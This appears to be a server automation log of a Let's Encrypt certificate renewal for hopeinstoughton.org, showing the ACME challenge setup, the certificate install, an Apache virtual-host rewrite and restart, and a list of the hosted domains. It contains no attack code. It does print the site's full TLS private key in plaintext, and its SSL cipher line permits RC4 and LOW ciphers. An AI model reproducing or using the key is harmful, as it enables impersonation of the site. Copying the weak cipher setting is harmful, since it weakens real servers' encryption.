MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 06:00:01: Establishing a connection
2026-04-24 06:00:02: Establishing a connection
2026-04-24 06:00:02: 

PUT: /tmp/pkp404624

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-24 06:00:03: 

chmod 755 /tmp/pkp404624; /tmp/pkp404624; rm /tmp/pkp404624

2026-04-24 06:00:03: 


1


2026-04-24 06:00:04: Establishing a connection
2026-04-24 06:00:05: 

PUT: /tmp/pkp294200

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cat > amQW_Msmi3NYOLhrb1Zil0eZTTaQJJLI0Hx5SfoDqBw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
amQW_Msmi3NYOLhrb1Zil0eZTTaQJJLI0Hx5SfoDqBw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 amQW_Msmi3NYOLhrb1Zil0eZTTaQJJLI0Hx5SfoDqBw
cat > JHM5-oWP2m0kCULyKpB3Gxm4nqWbK1DICZ-oe9TRuEQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JHM5-oWP2m0kCULyKpB3Gxm4nqWbK1DICZ-oe9TRuEQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JHM5-oWP2m0kCULyKpB3Gxm4nqWbK1DICZ-oe9TRuEQ


2026-04-24 06:00:05: 

chmod 755 /tmp/pkp294200; /tmp/pkp294200; rm /tmp/pkp294200

2026-04-24 06:00:05: 




2026-04-24 06:00:13: Establishing a connection
2026-04-24 06:00:13: 

PUT: /tmp/pkp760235

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
rm amQW_Msmi3NYOLhrb1Zil0eZTTaQJJLI0Hx5SfoDqBw
rm JHM5-oWP2m0kCULyKpB3Gxm4nqWbK1DICZ-oe9TRuEQ


2026-04-24 06:00:13: 

chmod 755 /tmp/pkp760235; /tmp/pkp760235; rm /tmp/pkp760235

2026-04-24 06:00:13: 




2026-04-24 06:00:13: Establishing a connection
2026-04-24 06:00:14: 

PUT: /tmp/pkp734770

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7.crt

cat > $temp_file <<'endmsg'
5e:c2:44:32:aa:bb:67:ca:1c:e1:0e:7a:a6:10:2c:cc

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBfIwWBBi9kJgbWtCDBTY6CiNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI0MDUwMTQyWhcNMjYwNzIzMDUwMTQxWjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAvIy1pXfsfio303uT80PrO0Lm02nnCD6BjVbBlQYeHKg++dyB0FVOuXYS
mHVWAqPGZ/XUingF8ieTiExZ38m96aWYvwUf7p+/pxOW8DEciZAEnbHMAAREV/8v
UDY/n+igTp/DTsHj9bD/YmyfEbKLd1Di8w54qw01+reMIY/3Rr8i9XJW9H42Lg9w
TeSEXqJdWwwtCFKrF9IPeD47jroKJ73OUxsW+tEj9G6gPjt1bP2kCr4E2KL348+J
XaBOHLy6AKrCv96RImzcMhNuwJOHy4a0QRWU03C6hpAvJ6+EtOkik9aOuoDC3ljg
tYJ5ekSTcI+hadWujhdv9xYLjXutEQIDAQABo4ICOzCCAjcwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FNjgzaFkVEGkel6PIi8ROA5Ol8VzMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITaG9wZWluc3RvdWdodG9uLm9yZ4IXd3d3
LmhvcGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xNC5jcmwwggENBgor
BgEEAdZ5AgQCBIH+BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsU
wxRY5wAAAZ2+Ew1uAAAEAwBIMEYCIQCw8c5KsFBXx6ghWhWlk7WJMq0anhJEVSaO
+2X95R5IeAIhANup7vV2lvh7xYS7hKg3ydLYaqaPrwYC4+/TpdGY2ndzAH4ARq+G
PTs+5Z+ld96oJF02sNntIqIj9GF3QSKUUu6VUF8AAAGdvhMNggAIAAAFAAS4+BYE
AwBHMEUCIFaQr6ROm2pM2zfMe01kbDekvgQrfF2z/sRFXVbmAUemAiEAhhTW1EgH
Vt+Q34YYGRaenDvLNHCb2oedyTmwo1N7aF4wDQYJKoZIhvcNAQELBQADggEBANA6
BhzKfNGiBfD6xwDBzFSUxq9vIq8ioTmvoOE3GCbDu+/iOixr3HfWRIPLCQCCNRt9
GZNPbCxSF8AHd/SkAvoh8cuZcroUltN+FH+OBs/9d6W2jA6Q6YHK07t3hWk6z9P9
nT+6T7nWwUqNiq6WI7f6954YCDrsLzZlK70f0e2je4uevXTo7H9tN2T6vnyTxDvO
BkEXCITGqppMNHw9K5gxGf+D/myQd6JgH46NskomMES5UP6vQb7CIEM3+eqPT+7Z
UcvpXp5c8dYd4q5/b/tBSXwBWf1XI7uNuGB3ibna+Z9TNRSCNPtHF02Tu5EWOX/W
x+pJEPXDNaZsw2KsaRE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8jLWld+x+KjfT
e5PzQ+s7QubTaecIPoGNVsGVBh4cqD753IHQVU65dhKYdVYCo8Zn9dSKeAXyJ5OI
TFnfyb3ppZi/BR/un7+nE5bwMRyJkASdscwABERX/y9QNj+f6KBOn8NOweP1sP9i
bJ8Rsot3UOLzDnirDTX6t4whj/dGvyL1clb0fjYuD3BN5IReol1bDC0IUqsX0g94
PjuOugonvc5TGxb60SP0bqA+O3Vs/aQKvgTYovfjz4ldoE4cvLoAqsK/3pEibNwy
E27Ak4fLhrRBFZTTcLqGkC8nr4S06SKT1o66gMLeWOC1gnl6RJNwj6Fp1a6OF2/3
FguNe60RAgMBAAECggEAAL0+C4TBkeMPfKNjHioZuipdJlBEJXOg1y3211UCpDZ0
bogEn2LBysIFI6ThrisUi1XpH7EwcMdUY1uw1IPWzfDe/SkuJkIwMMhV71N593Go
t2sdiM3Qz+QtEXp+v3mx9Begl+afCcpklQt7pNbzwLHyqA+hTAnw8Wdr0g9r02Dl
umQzjX5csukZpqRWLVd9TpAIy1hKRbMMwn2U566iH80/KW7tg5L55Kdml+xL9nNS
UVtntEN+jx7samz8cf36nvJSgoIg6xSXcv47QbJ/wSb6S0/D9hLl7+n6WxwnGRcv
h+YWDkqoY+69CToxVAkAEdDH4Q0GL+8nMCB9jgDVawKBgQD3pDra0u6awavhvWSD
N8Ns6IOkGWkq+ezPv3L67sjYn/9KEIkOilzRXDtHg6Tk+nocfKxa+Zm8BPuIU6AB
5uVSp/0BvEU9hXn5GkT+mJWTxV2hIylaSVytXAVP6IdWQ0B9CgHc2AQgXVu4f2G3
Q1HTDzUF7gaHKQfExIafAHOAkwKBgQDC6eQD72MGCQMS1ZdEK6++FMKhWlH/b3Bx
YxofGIO8QAbXfsI9vZ/AK9ykLqicp7MyTU6nteDWhJ9wcgx+KLAaNJdE+XFFH8oe
dLo1HKrAuophX0njWuSauH4YAUP7Y5f5wR73XJm7/HXMh0Q9JPa+PTFJkLe5c//F
mQ8o+SI2SwKBgQCuMSxhDixeWUrhMAqKrmfdrLQkcudiHojwHRfw4JQQpIK7g2QV
AUiGz9y20ifkFThd32iRWa9E7TBNVZ1gmRzIBnhWhyshOklw6oSLnaLhXdwdY5FL
+/yfyPHHoqXIDOhIzAhBYwWMCn9hCOEgOs9Mqg6/DA41dqwLQb38DCIy1wKBgGRB
A3wWrFtVVVRhsl1pDwr5CKcPmu+EtVRNAgmOhWvVju9WjrhNCZdBuEpmiWmSRHSS
GOvgfBY6vvuKXeyiJvpDpK7gkqdYU5DYv1JEPXvGNxkgdxPPE5iVXp4gQIRUVL4s
3C2lXpm3oCukQ7AjjBqLxQcuvaFRDfTn5klP444DAoGBAOWCZba4Ij05jD5Gks7a
FlIGzOtVFCCHTMtK0IiZ58dvtlHUpldukbbzahT2ah1vlzUW9sTgWAlqKkjQ0Nz5
/vrIPyu2UxnDHPBqk1CTIdXhYtG9GU13IgOFaF3fyR1lY/cIv41rBDzfHUQm1Jhe
tgEgzdpwXQZL1aWUmko7P6YK
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-24 06:00:14: 

chmod 755 /tmp/pkp734770; /tmp/pkp734770; rm /tmp/pkp734770

2026-04-24 06:00:14: 


dir=/etc/ssl/certs


2026-04-24 06:00:14: 

PUT: /tmp/pkp760437

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-24 06:00:14: 

chmod 755 /tmp/pkp760437; /tmp/pkp760437; rm /tmp/pkp760437

2026-04-24 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 47
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-04-24 06:00:14: 

PUT: /tmp/pkp967648

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_www_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf= 1'
fi


2026-04-24 06:00:14: 

chmod 755 /tmp/pkp967648; /tmp/pkp967648; rm /tmp/pkp967648

2026-04-24 06:00:14: 




2026-04-24 06:00:14: 

PUT: /tmp/pkp160319

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-24 06:00:14: 

chmod 755 /tmp/pkp160319; /tmp/pkp160319; rm /tmp/pkp160319

2026-04-24 06:00:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-24 06:00:14: Establishing a connection
2026-04-24 06:00:14: 

PUT: /tmp/pkp242402

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-24 06:00:14: 

chmod 755 /tmp/pkp242402; /tmp/pkp242402; rm /tmp/pkp242402

2026-04-24 06:00:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
